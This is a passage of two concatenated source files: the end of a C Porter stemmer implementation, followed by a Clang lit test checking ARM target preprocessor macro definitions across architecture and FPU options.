case 's': if (ends("\04" "ness")) { r("\00" ""); break; }
break;
} }
/* step4() takes off -ant, -ence etc., in context <c>vcvc<v>. */
static void step4()
{ switch (b[k-1])
{ case 'a': if (ends("\02" "al")) break; return;
case 'c': if (ends("\04" "ance")) break;
if (ends("\04" "ence")) break; return;
case 'e': if (ends("\02" "er")) break; return;
case 'i': if (ends("\02" "ic")) break; return;
case 'l': if (ends("\04" "able")) break;
if (ends("\04" "ible")) break; return;
case 'n': if (ends("\03" "ant")) break;
if (ends("\05" "ement")) break;
if (ends("\04" "ment")) break;
if (ends("\03" "ent")) break; return;
case 'o': if (ends("\03" "ion") && j >= k0 && (b[j] == 's' || b[j] == 't')) break;
if (ends("\02" "ou")) break; return;
/* takes care of -ous */
case 's': if (ends("\03" "ism")) break; return;
case 't': if (ends("\03" "ate")) break;
if (ends("\03" "iti")) break; return;
case 'u': if (ends("\03" "ous")) break; return;
case 'v': if (ends("\03" "ive")) break; return;
case 'z': if (ends("\03" "ize")) break; return;
default: return;
}
if (m() > 1) k = j;
}
/* step5() removes a final -e if m() > 1, and changes -ll to -l if
m() > 1. */
static void step5()
{ j = k;
if (b[k] == 'e')
{ int a = m();
if (a > 1 || a == 1 && !cvc(k-1)) k--;
}
if (b[k] == 'l' && doublec(k) && m() > 1) k--;
}
/* In stem(p,i,j), p is a char pointer, and the string to be stemmed is from
p[i] to p[j] inclusive. Typically i is zero and j is the offset to the last
character of a string, (p[j+1] == '\0'). The stemmer adjusts the
characters p[i] ... p[j] and returns the new end-point of the string, k.
Stemming never increases word length, so i <= k <= j. To turn the stemmer
into a module, declare 'stem' as extern, and delete the remainder of this
file.
*/
int stem(char * p, int i, int j)
{ b = p; k = j; k0 = i; /* copy the parameters into statics */
if (k <= k0+1) return k; /*-DEPARTURE-*/
/* With this line, strings of length 1 or 2 don't go through the
stemming process, although no mention is made of this in the
published algorithm. Remove the line to match the published
algorithm. */
step1ab();
if (k > k0) {
step1c(); step2(); step3(); step4(); step5();
}
return k;
}
/*--------------------stemmer definition ends here------------------------*/
#include <stdio.h>
#include <stdlib.h> /* for malloc, free */
#include <ctype.h> /* for isupper, islower, tolower */
static char * s; /* a char * (=string) pointer; passed into b above */
#define INC 50 /* size units in which s is increased */
static int i_max = INC; /* maximum offset in s */
void increase_s()
{ i_max += INC;
{ char * new_s = (char *) malloc(i_max+1);
{ int i; for (i = 0; i < i_max; i++) new_s[i] = s[i]; } /* copy across */
free(s); s = new_s;
}
}
#define LETTER(ch) (isupper(ch) || islower(ch))
static void stemfile(FILE * f)
{ while(TRUE)
{ int ch = getc(f);
if (ch == EOF) return;
if (LETTER(ch))
{ int i = 0;
while(TRUE)
{ if (i == i_max) increase_s();
ch = tolower(ch); /* forces lower case */
s[i] = ch; i++;
ch = getc(f);
if (!LETTER(ch)) { ungetc(ch,f); break; }
}
s[stem(s,0,i-1)+1] = 0;
/* the previous line calls the stemmer and uses its result to
zero-terminate the string in s */
printf("%s",s);
}
else putchar(ch);
}
}
int main(int argc, char * argv[])
{ int i;
s = (char *) malloc(i_max+1);
for (i = 1; i < argc; i++)
{ FILE * f = fopen(argv[i],"r");
if (f == 0) { fprintf(stderr,"File %s not found\n",argv[i]); exit(1); }
stemfile(f);
}
free(s);
return 0;
}
|
the_stack_data/64252.c | // RUN: %clang -target armv8a-none-linux-gnu -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-V8A %s
// CHECK-V8A: #define __ARMEL__ 1
// CHECK-V8A: #define __ARM_ARCH 8
// CHECK-V8A: #define __ARM_ARCH_8A__ 1
// CHECK-V8A: #define __ARM_FEATURE_CRC32 1
// CHECK-V8A: #define __ARM_FEATURE_DIRECTED_ROUNDING 1
// CHECK-V8A: #define __ARM_FEATURE_NUMERIC_MAXMIN 1
// CHECK-V8A-NOT: #define __ARM_FP 0x
// CHECK-V8A-NOT: #define __ARM_FEATURE_DOTPROD
// RUN: %clang -target armv8a-none-linux-gnueabi -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-V8A-ALLOW-FP-INSTR %s
// RUN: %clang -target armv8a-none-linux-gnueabihf -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-V8A-ALLOW-FP-INSTR %s
// CHECK-V8A-ALLOW-FP-INSTR: #define __ARMEL__ 1
// CHECK-V8A-ALLOW-FP-INSTR: #define __ARM_ARCH 8
// CHECK-V8A-ALLOW-FP-INSTR: #define __ARM_ARCH_8A__ 1
// CHECK-V8A-ALLOW-FP-INSTR: #define __ARM_FEATURE_CRC32 1
// CHECK-V8A-ALLOW-FP-INSTR: #define __ARM_FEATURE_DIRECTED_ROUNDING 1
// CHECK-V8A-ALLOW-FP-INSTR: #define __ARM_FEATURE_NUMERIC_MAXMIN 1
// CHECK-V8A-ALLOW-FP-INSTR: #define __ARM_FP 0xe
// CHECK-V8A-ALLOW-FP-INSTR: #define __ARM_FP16_ARGS 1
// CHECK-V8A-ALLOW-FP-INSTR: #define __ARM_FP16_FORMAT_IEEE 1
// CHECK-V8A-ALLOW-FP-INSTR-V8A-NOT: #define __ARM_FEATURE_DOTPROD
// RUN: %clang -target arm-none-linux-gnueabi -march=armv8.2-a+nofp16fml+fp16 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-FULLFP16-VECTOR-SCALAR %s
// RUN: %clang -target arm-none-linux-gnueabi -march=armv8.2-a+nofp16+fp16fml -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-FULLFP16-VECTOR-SCALAR %s
// RUN: %clang -target arm-none-linux-gnueabi -march=armv8.2-a+fp16+nofp16fml -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-FULLFP16-VECTOR-SCALAR %s
// RUN: %clang -target arm-none-linux-gnueabi -march=armv8-a+fp16fml -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-FULLFP16-VECTOR-SCALAR %s
// RUN: %clang -target arm-none-linux-gnueabi -march=armv8-a+fp16 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-FULLFP16-VECTOR-SCALAR %s
// RUN: %clang -target arm-none-linux-gnueabi -march=armv8.4-a+nofp16fml+fp16 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-FULLFP16-VECTOR-SCALAR %s
// RUN: %clang -target arm-none-linux-gnueabi -march=armv8.4-a+nofp16+fp16fml -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-FULLFP16-VECTOR-SCALAR %s
// RUN: %clang -target arm-none-linux-gnueabi -march=armv8.4-a+fp16+nofp16fml -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-FULLFP16-VECTOR-SCALAR %s
// RUN: %clang -target arm-none-linux-gnueabi -march=armv8.4-a+fp16fml -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-FULLFP16-VECTOR-SCALAR %s
// RUN: %clang -target arm-none-linux-gnueabi -march=armv8.4-a+fp16 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-FULLFP16-VECTOR-SCALAR %s
// CHECK-FULLFP16-VECTOR-SCALAR: #define __ARM_FEATURE_FP16_SCALAR_ARITHMETIC 1
// CHECK-FULLFP16-VECTOR-SCALAR: #define __ARM_FEATURE_FP16_VECTOR_ARITHMETIC 1
// CHECK-FULLFP16-VECTOR-SCALAR: #define __ARM_FP 0xe
// CHECK-FULLFP16-VECTOR-SCALAR: #define __ARM_FP16_FORMAT_IEEE 1
// +fp16fml without neon doesn't make sense as the fp16fml instructions all require SIMD.
// However, as +fp16fml implies +fp16 there is a set of defines that we would expect.
// RUN: %clang -target arm-none-linux-gnueabi -march=armv8-a+fp16fml -mfpu=vfp4 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-FULLFP16-SCALAR %s
// RUN: %clang -target arm-none-linux-gnueabi -march=armv8-a+fp16 -mfpu=vfp4 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-FULLFP16-SCALAR %s
// RUN: %clang -target arm-none-linux-gnueabi -march=armv8.4-a+fp16fml -mfpu=vfp4 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-FULLFP16-SCALAR %s
// RUN: %clang -target arm-none-linux-gnueabi -march=armv8.4-a+fp16 -mfpu=vfp4 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-FULLFP16-SCALAR %s
// CHECK-FULLFP16-SCALAR: #define __ARM_FEATURE_FP16_SCALAR_ARITHMETIC 1
// CHECK-FULLFP16-SCALAR-NOT: #define __ARM_FEATURE_FP16_VECTOR_ARITHMETIC 1
// CHECK-FULLFP16-SCALAR: #define __ARM_FP 0xe
// CHECK-FULLFP16-SCALAR: #define __ARM_FP16_FORMAT_IEEE 1
// RUN: %clang -target arm-none-linux-gnueabi -march=armv8.2-a -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-FULLFP16-NOFML-VECTOR-SCALAR %s
// RUN: %clang -target arm-none-linux-gnueabi -march=armv8.2-a+nofp16 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-FULLFP16-NOFML-VECTOR-SCALAR %s
// RUN: %clang -target arm-none-linux-gnueabi -march=armv8.2-a+nofp16fml -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-FULLFP16-NOFML-VECTOR-SCALAR %s
// RUN: %clang -target arm-none-linux-gnueabi -march=armv8.2-a+fp16fml+nofp16 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-FULLFP16-NOFML-VECTOR-SCALAR %s
// RUN: %clang -target arm-none-linux-gnueabi -march=armv8.4-a -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-FULLFP16-NOFML-VECTOR-SCALAR %s
// RUN: %clang -target arm-none-linux-gnueabi -march=armv8.4-a+nofp16 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-FULLFP16-NOFML-VECTOR-SCALAR %s
// RUN: %clang -target arm-none-linux-gnueabi -march=armv8.4-a+nofp16fml -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-FULLFP16-NOFML-VECTOR-SCALAR %s
// RUN: %clang -target arm-none-linux-gnueabi -march=armv8.4-a+fp16fml+nofp16 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-FULLFP16-NOFML-VECTOR-SCALAR %s
// CHECK-FULLFP16-NOFML-VECTOR-SCALAR-NOT: #define __ARM_FEATURE_FP16_SCALAR_ARITHMETIC 1
// CHECK-FULLFP16-NOFML-VECTOR-SCALAR-NOT: #define __ARM_FEATURE_FP16_VECTOR_ARITHMETIC 1
// CHECK-FULLFP16-NOFML-VECTOR-SCALAR: #define __ARM_FP 0xe
// CHECK-FULLFP16-NOFML-VECTOR-SCALAR: #define __ARM_FP16_FORMAT_IEEE 1
// RUN: %clang -target arm -march=armv8-a+fp16 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-FULLFP16-SOFT %s
// RUN: %clang -target arm -march=armv8-a+fp16fml -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-FULLFP16-SOFT %s
// RUN: %clang -target arm -march=armv8-a+fp16+fp16fml -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-FULLFP16-SOFT %s
// RUN: %clang -target arm -march=armv8-a+fp16fml+fp16 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-FULLFP16-SOFT %s
// RUN: %clang -target arm -march=armv8.4-a+fp16 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-FULLFP16-SOFT %s
// RUN: %clang -target arm -march=armv8.4-a+fp16fml -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-FULLFP16-SOFT %s
// RUN: %clang -target arm -march=armv8.4-a+fp16+fp16fml -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-FULLFP16-SOFT %s
// RUN: %clang -target arm -march=armv8.4-a+fp16fml+fp16 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-FULLFP16-SOFT %s
// CHECK-FULLFP16-SOFT-NOT: #define __ARM_FEATURE_FP16_SCALAR_ARITHMETIC
// CHECK-FULLFP16-SOFT-NOT: #define __ARM_FEATURE_FP16_VECTOR_ARITHMETIC
// CHECK-FULLFP16-SOFT-NOT: #define __ARM_FEATURE_FP16_SCALAR_ARITHMETIC
// CHECK-FULLFP16-SOFT-NOT: #define __ARM_FEATURE_FP16_VECTOR_ARITHMETIC
// RUN: %clang -target arm-none-linux-gnueabi -march=armv8.2a+dotprod -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-DOTPROD %s
// CHECK-DOTPROD: #define __ARM_FEATURE_DOTPROD 1
// RUN: %clang -target armv8r-none-linux-gnu -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-V8R %s
// CHECK-V8R: #define __ARMEL__ 1
// CHECK-V8R: #define __ARM_ARCH 8
// CHECK-V8R: #define __ARM_ARCH_8R__ 1
// CHECK-V8R: #define __ARM_FEATURE_CRC32 1
// CHECK-V8R: #define __ARM_FEATURE_DIRECTED_ROUNDING 1
// CHECK-V8R: #define __ARM_FEATURE_NUMERIC_MAXMIN 1
// CHECK-V8R-NOT: #define __ARM_FP 0x
// RUN: %clang -target armv8r-none-linux-gnueabi -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-V8R-ALLOW-FP-INSTR %s
// RUN: %clang -target armv8r-none-linux-gnueabihf -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-V8R-ALLOW-FP-INSTR %s
// CHECK-V8R-ALLOW-FP-INSTR: #define __ARMEL__ 1
// CHECK-V8R-ALLOW-FP-INSTR: #define __ARM_ARCH 8
// CHECK-V8R-ALLOW-FP-INSTR: #define __ARM_ARCH_8R__ 1
// CHECK-V8R-ALLOW-FP-INSTR: #define __ARM_FEATURE_CRC32 1
// CHECK-V8R-ALLOW-FP-INSTR: #define __ARM_FEATURE_DIRECTED_ROUNDING 1
// CHECK-V8R-ALLOW-FP-INSTR: #define __ARM_FEATURE_NUMERIC_MAXMIN 1
// CHECK-V8R-ALLOW-FP-INSTR: #define __ARM_FP 0xe
// RUN: %clang -target armv7a-none-linux-gnu -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-V7 %s
// CHECK-V7: #define __ARMEL__ 1
// CHECK-V7: #define __ARM_ARCH 7
// CHECK-V7: #define __ARM_ARCH_7A__ 1
// CHECK-V7-NOT: __ARM_FEATURE_CRC32
// CHECK-V7-NOT: __ARM_FEATURE_NUMERIC_MAXMIN
// CHECK-V7-NOT: __ARM_FEATURE_DIRECTED_ROUNDING
// CHECK-V7-NOT: #define __ARM_FP 0x
// RUN: %clang -target armv7a-none-linux-gnueabi -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-V7-ALLOW-FP-INSTR %s
// RUN: %clang -target armv7a-none-linux-gnueabihf -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-V7-ALLOW-FP-INSTR %s
// CHECK-V7-ALLOW-FP-INSTR: #define __ARMEL__ 1
// CHECK-V7-ALLOW-FP-INSTR: #define __ARM_ARCH 7
// CHECK-V7-ALLOW-FP-INSTR: #define __ARM_ARCH_7A__ 1
// CHECK-V7-ALLOW-FP-INSTR-NOT: __ARM_FEATURE_CRC32
// CHECK-V7-ALLOW-FP-INSTR-NOT: __ARM_FEATURE_NUMERIC_MAXMIN
// CHECK-V7-ALLOW-FP-INSTR-NOT: __ARM_FEATURE_DIRECTED_ROUNDING
// CHECK-V7-ALLOW-FP-INSTR: #define __ARM_FP 0xc
// RUN: %clang -target armv7ve-none-linux-gnu -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-V7VE %s
// CHECK-V7VE: #define __ARMEL__ 1
// CHECK-V7VE: #define __ARM_ARCH 7
// CHECK-V7VE: #define __ARM_ARCH_7VE__ 1
// CHECK-V7VE: #define __ARM_ARCH_EXT_IDIV__ 1
// CHECK-V7VE-NOT: #define __ARM_FP 0x
// RUN: %clang -target armv7ve-none-linux-gnueabi -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-V7VE-DEFAULT-ABI-SOFT %s
// RUN: %clang -target armv7ve-none-linux-gnueabihf -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-V7VE-DEFAULT-ABI-SOFT %s
// CHECK-V7VE-DEFAULT-ABI-SOFT: #define __ARMEL__ 1
// CHECK-V7VE-DEFAULT-ABI-SOFT: #define __ARM_ARCH 7
// CHECK-V7VE-DEFAULT-ABI-SOFT: #define __ARM_ARCH_7VE__ 1
// CHECK-V7VE-DEFAULT-ABI-SOFT: #define __ARM_ARCH_EXT_IDIV__ 1
// CHECK-V7VE-DEFAULT-ABI-SOFT: #define __ARM_FP 0xc
// RUN: %clang -target x86_64-apple-macosx10.10 -arch armv7s -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-V7S %s
// CHECK-V7S: #define __ARMEL__ 1
// CHECK-V7S: #define __ARM_ARCH 7
// CHECK-V7S: #define __ARM_ARCH_7S__ 1
// CHECK-V7S-NOT: __ARM_FEATURE_CRC32
// CHECK-V7S-NOT: __ARM_FEATURE_NUMERIC_MAXMIN
// CHECK-V7S-NOT: __ARM_FEATURE_DIRECTED_ROUNDING
// CHECK-V7S: #define __ARM_FP 0xe
// RUN: %clang -target armv8a -mfloat-abi=hard -x c -E -dM %s | FileCheck -match-full-lines --check-prefix=CHECK-V8-BAREHF %s
// CHECK-V8-BAREHF: #define __ARMEL__ 1
// CHECK-V8-BAREHF: #define __ARM_ARCH 8
// CHECK-V8-BAREHF: #define __ARM_ARCH_8A__ 1
// CHECK-V8-BAREHF: #define __ARM_FEATURE_CRC32 1
// CHECK-V8-BAREHF: #define __ARM_FEATURE_DIRECTED_ROUNDING 1
// CHECK-V8-BAREHF: #define __ARM_FEATURE_NUMERIC_MAXMIN 1
// CHECK-V8-BAREHP: #define __ARM_FP 0xe
// CHECK-V8-BAREHF: #define __ARM_NEON__ 1
// CHECK-V8-BAREHF: #define __ARM_PCS_VFP 1
// CHECK-V8-BAREHF: #define __VFP_FP__ 1
// RUN: %clang -target armv8a -mfloat-abi=hard -mfpu=fp-armv8 -x c -E -dM %s | FileCheck -match-full-lines --check-prefix=CHECK-V8-BAREHF-FP %s
// CHECK-V8-BAREHF-FP-NOT: __ARM_NEON__ 1
// CHECK-V8-BAREHP-FP: #define __ARM_FP 0xe
// CHECK-V8-BAREHF-FP: #define __VFP_FP__ 1
// RUN: %clang -target armv8a -mfloat-abi=hard -mfpu=neon-fp-armv8 -x c -E -dM %s | FileCheck -match-full-lines --check-prefix=CHECK-V8-BAREHF-NEON-FP %s
// RUN: %clang -target armv8a -mfloat-abi=hard -mfpu=crypto-neon-fp-armv8 -x c -E -dM %s | FileCheck -match-full-lines --check-prefix=CHECK-V8-BAREHF-NEON-FP %s
// CHECK-V8-BAREHP-NEON-FP: #define __ARM_FP 0xe
// CHECK-V8-BAREHF-NEON-FP: #define __ARM_NEON__ 1
// CHECK-V8-BAREHF-NEON-FP: #define __VFP_FP__ 1
// RUN: %clang -target armv8a -mnocrc -x c -E -dM %s | FileCheck -match-full-lines --check-prefix=CHECK-V8-NOCRC %s
// CHECK-V8-NOCRC-NOT: __ARM_FEATURE_CRC32 1
// Check that -mhwdiv works properly for armv8/thumbv8 (enabled by default).
// RUN: %clang -target armv8 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=V8 %s
// RUN: %clang -target armv8 -mthumb -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=V8 %s
// RUN: %clang -target armv8-eabi -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=V8 %s
// RUN: %clang -target armv8-eabi -mthumb -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=V8 %s
// V8:#define __ARM_ARCH_EXT_IDIV__ 1
// RUN: %clang -target armv8 -mhwdiv=none -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=NOHWDIV-V8 %s
// RUN: %clang -target armv8 -mthumb -mhwdiv=none -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=NOHWDIV-V8 %s
// RUN: %clang -target armv8 -mhwdiv=thumb -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=NOHWDIV-V8 %s
// RUN: %clang -target armv8 -mthumb -mhwdiv=arm -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=NOHWDIV-V8 %s
// NOHWDIV-V8-NOT:#define __ARM_ARCH_EXT_IDIV__
// RUN: %clang -target armv8a -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=V8A %s
// RUN: %clang -target armv8a -mthumb -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=V8A %s
// V8A:#define __ARM_ARCH_EXT_IDIV__ 1
// V8A-NOT:#define __ARM_FP 0x
// RUN: %clang -target armv8a-eabi -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=V8A-ALLOW-FP-INSTR %s
// RUN: %clang -target armv8a-eabi -mthumb -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=V8A-ALLOW-FP-INSTR %s
// RUN: %clang -target armv8a-eabihf -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=V8A-ALLOW-FP-INSTR %s
// RUN: %clang -target armv8a-eabihf -mthumb -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=V8A-ALLOW-FP-INSTR %s
// V8A-ALLOW-FP-INSTR:#define __ARM_ARCH_EXT_IDIV__ 1
// V8A-ALLOW-FP-INSTR:#define __ARM_FP 0xe
// RUN: %clang -target armv8m.base-none-linux-gnu -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=V8M_BASELINE %s
// V8M_BASELINE: #define __ARM_ARCH 8
// V8M_BASELINE: #define __ARM_ARCH_8M_BASE__ 1
// V8M_BASELINE: #define __ARM_ARCH_EXT_IDIV__ 1
// V8M_BASELINE-NOT: __ARM_ARCH_ISA_ARM
// V8M_BASELINE: #define __ARM_ARCH_ISA_THUMB 1
// V8M_BASELINE: #define __ARM_ARCH_PROFILE 'M'
// V8M_BASELINE-NOT: __ARM_FEATURE_CRC32
// V8M_BASELINE: #define __ARM_FEATURE_CMSE 1
// V8M_BASELINE-NOT: __ARM_FEATURE_DSP
// V8M_BASELINE-NOT: __ARM_FP 0x{{.*}}
// V8M_BASELINE-NOT: __GCC_HAVE_SYNC_COMPARE_AND_SWAP_1
// RUN: %clang -target armv8m.main-none-linux-gnu -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=V8M_MAINLINE %s
// V8M_MAINLINE: #define __ARM_ARCH 8
// V8M_MAINLINE: #define __ARM_ARCH_8M_MAIN__ 1
// V8M_MAINLINE: #define __ARM_ARCH_EXT_IDIV__ 1
// V8M_MAINLINE-NOT: __ARM_ARCH_ISA_ARM
// V8M_MAINLINE: #define __ARM_ARCH_ISA_THUMB 2
// V8M_MAINLINE: #define __ARM_ARCH_PROFILE 'M'
// V8M_MAINLINE-NOT: __ARM_FEATURE_CRC32
// V8M_MAINLINE: #define __ARM_FEATURE_CMSE 1
// V8M_MAINLINE-NOT: __ARM_FEATURE_DSP
// V8M_MAINLINE-NOT: #define __ARM_FP 0x
// V8M_MAINLINE: #define __GCC_HAVE_SYNC_COMPARE_AND_SWAP_1 1
// RUN: %clang -target armv8m.main-none-linux-gnueabi -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=V8M-MAINLINE-ALLOW-FP-INSTR %s
// RUN: %clang -target armv8m.main-none-linux-gnueabihf -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=V8M-MAINLINE-ALLOW-FP-INSTR %s
// V8M-MAINLINE-ALLOW-FP-INSTR: #define __ARM_ARCH 8
// V8M-MAINLINE-ALLOW-FP-INSTR: #define __ARM_ARCH_8M_MAIN__ 1
// V8M-MAINLINE-ALLOW-FP-INSTR: #define __ARM_ARCH_EXT_IDIV__ 1
// V8M-MAINLINE-ALLOW-FP-INSTR-NOT: __ARM_ARCH_ISA_ARM
// V8M-MAINLINE-ALLOW-FP-INSTR: #define __ARM_ARCH_ISA_THUMB 2
// V8M-MAINLINE-ALLOW-FP-INSTR: #define __ARM_ARCH_PROFILE 'M'
// V8M-MAINLINE-ALLOW-FP-INSTR-NOT: __ARM_FEATURE_CRC32
// V8M-MAINLINE-ALLOW-FP-INSTR-NOT: __ARM_FEATURE_DSP
// V8M-MAINLINE-ALLOW-FP-INSTR: #define __ARM_FP 0xe
// V8M-MAINLINE-ALLOW-FP-INSTR: #define __GCC_HAVE_SYNC_COMPARE_AND_SWAP_1 1
// RUN: %clang -target arm-none-linux-gnu -march=armv8-m.main+dsp -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=V8M_MAINLINE_DSP %s
// V8M_MAINLINE_DSP: #define __ARM_ARCH 8
// V8M_MAINLINE_DSP: #define __ARM_ARCH_8M_MAIN__ 1
// V8M_MAINLINE_DSP: #define __ARM_ARCH_EXT_IDIV__ 1
// V8M_MAINLINE_DSP-NOT: __ARM_ARCH_ISA_ARM
// V8M_MAINLINE_DSP: #define __ARM_ARCH_ISA_THUMB 2
// V8M_MAINLINE_DSP: #define __ARM_ARCH_PROFILE 'M'
// V8M_MAINLINE_DSP-NOT: __ARM_FEATURE_CRC32
// V8M_MAINLINE_DSP: #define __ARM_FEATURE_DSP 1
// V8M_MAINLINE_DSP-NOT: #define __ARM_FP 0x
// V8M_MAINLINE_DSP: #define __GCC_HAVE_SYNC_COMPARE_AND_SWAP_1 1
// RUN: %clang -target arm-none-linux-gnueabi -march=armv8-m.main+dsp -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=V8M-MAINLINE-DSP-ALLOW-FP-INSTR %s
// V8M-MAINLINE-DSP-ALLOW-FP-INSTR: #define __ARM_ARCH 8
// V8M-MAINLINE-DSP-ALLOW-FP-INSTR: #define __ARM_ARCH_8M_MAIN__ 1
// V8M-MAINLINE-DSP-ALLOW-FP-INSTR: #define __ARM_ARCH_EXT_IDIV__ 1
// V8M-MAINLINE-DSP-ALLOW-FP-INSTR-NOT: __ARM_ARCH_ISA_ARM
// V8M-MAINLINE-DSP-ALLOW-FP-INSTR: #define __ARM_ARCH_ISA_THUMB 2
// V8M-MAINLINE-DSP-ALLOW-FP-INSTR: #define __ARM_ARCH_PROFILE 'M'
// V8M-MAINLINE-DSP-ALLOW-FP-INSTR-NOT: __ARM_FEATURE_CRC32
// V8M-MAINLINE-DSP-ALLOW-FP-INSTR: #define __ARM_FEATURE_DSP 1
// V8M-MAINLINE-DSP-ALLOW-FP-INSTR: #define __ARM_FP 0xe
// V8M-MAINLINE-DSP-ALLOW-FP-INSTR: #define __GCC_HAVE_SYNC_COMPARE_AND_SWAP_1 1
// RUN: %clang -target arm-none-linux-gnu -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-DEFS %s
// CHECK-DEFS:#define __ARM_PCS 1
// CHECK-DEFS:#define __ARM_SIZEOF_MINIMAL_ENUM 4
// CHECK-DEFS:#define __ARM_SIZEOF_WCHAR_T 4
// RUN: %clang -target arm-none-linux-gnu -fno-math-errno -fno-signed-zeros\
// RUN: -fno-trapping-math -fassociative-math -freciprocal-math\
// RUN: -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-FASTMATH %s
// RUN: %clang -target arm-none-linux-gnu -ffast-math -x c -E -dM %s -o -\
// RUN: | FileCheck -match-full-lines --check-prefix=CHECK-FASTMATH %s
// CHECK-FASTMATH: #define __ARM_FP_FAST 1
// RUN: %clang -target arm-none-linux-gnu -fshort-wchar -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-SHORTWCHAR %s
// CHECK-SHORTWCHAR:#define __ARM_SIZEOF_WCHAR_T 2
// RUN: %clang -target arm-none-linux-gnu -fshort-enums -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=CHECK-SHORTENUMS %s
// CHECK-SHORTENUMS:#define __ARM_SIZEOF_MINIMAL_ENUM 1
// Test that -mhwdiv has the right effect for a target CPU which has hwdiv enabled by default.
// RUN: %clang -target armv7 -mcpu=cortex-a15 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=HWDIV %s
// RUN: %clang -target armv7 -mthumb -mcpu=cortex-a15 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=HWDIV %s
// RUN: %clang -target armv7 -mcpu=cortex-a15 -mhwdiv=arm -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=HWDIV %s
// RUN: %clang -target armv7 -mthumb -mcpu=cortex-a15 -mhwdiv=thumb -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=HWDIV %s
// HWDIV:#define __ARM_ARCH_EXT_IDIV__ 1
// RUN: %clang -target arm -mcpu=cortex-a15 -mhwdiv=thumb -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=NOHWDIV %s
// RUN: %clang -target arm -mthumb -mcpu=cortex-a15 -mhwdiv=arm -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=NOHWDIV %s
// RUN: %clang -target arm -mcpu=cortex-a15 -mhwdiv=none -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=NOHWDIV %s
// RUN: %clang -target arm -mthumb -mcpu=cortex-a15 -mhwdiv=none -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=NOHWDIV %s
